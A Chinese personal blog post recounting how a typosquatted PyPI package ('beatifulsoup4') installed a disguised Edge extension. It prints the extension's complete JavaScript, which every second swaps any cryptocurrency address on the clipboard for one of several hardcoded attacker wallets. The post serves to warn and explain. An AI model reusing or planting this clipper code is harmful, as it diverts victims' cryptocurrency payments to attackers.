记一次加密钱包地址替换攻击

说来离谱,前几天发现电脑复制的文本全都没有格式,连换行都没有了。我一度以为是 Windows 的问题,找了各种方法,甚至覆盖安装了一次。最后才发现是 pip 装了个错误的包,给 Edge 装了插件,会不断替换剪贴板内容。

起因

起因是想处理个 XML 文件,就想装个beautifulsoup4,结果输成了beatifulsoup4。运行还是缺库,才发现命令输错了,当时就卸载了,也没多想。

排查

之后就是发现剪贴板有问题,试过各种方法都不行。然后用Win+V打开剪贴板,发现剪贴板内容一秒闪一次,开始怀疑是有程序在监听并修改剪贴板。

接下来就是用排除法,一个一个地关软件,把 Edge 关闭后,剪贴板就不闪了。我万万没想到是 Edge 这个浓眉大眼的家伙,之后就顺理成章地怀疑是插件作怪,结果就发现了这个名为“Windows”的可疑插件。

可疑插件

然后打开插件位置,发现了一个 js 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();

function checkWalletAddresses() {
document.execCommand('paste');
var clipboardContent = inputElement.value;
clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
clipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');

inputElement.value = clipboardContent;
inputElement.select();

document.execCommand('copy');

inputElement.value = '';
}

setInterval(checkWalletAddresses, 1000);

这个脚本会每秒钟执行一次,把剪贴板的内容替换掉,导致了我的剪贴板格式丢失。

分析

在网上搜了一下部分代码,找到了一篇报道:Phylum Discovers Revived Crypto Wallet Address Replacement Attack。就是说 PyPI 中有很多和其他知名库名字相似的恶意库,会在浏览器中安装扩展,把剪贴板中的加密货币地址替换为攻击者的钱包地址。

即使我第一时间就卸载了恶意库,但是在安装过程中就装了插件,卸载时并不会删除插件,所以恶意脚本就会留下来。好在我没有加密货币,不然搞不好真就要丢钱。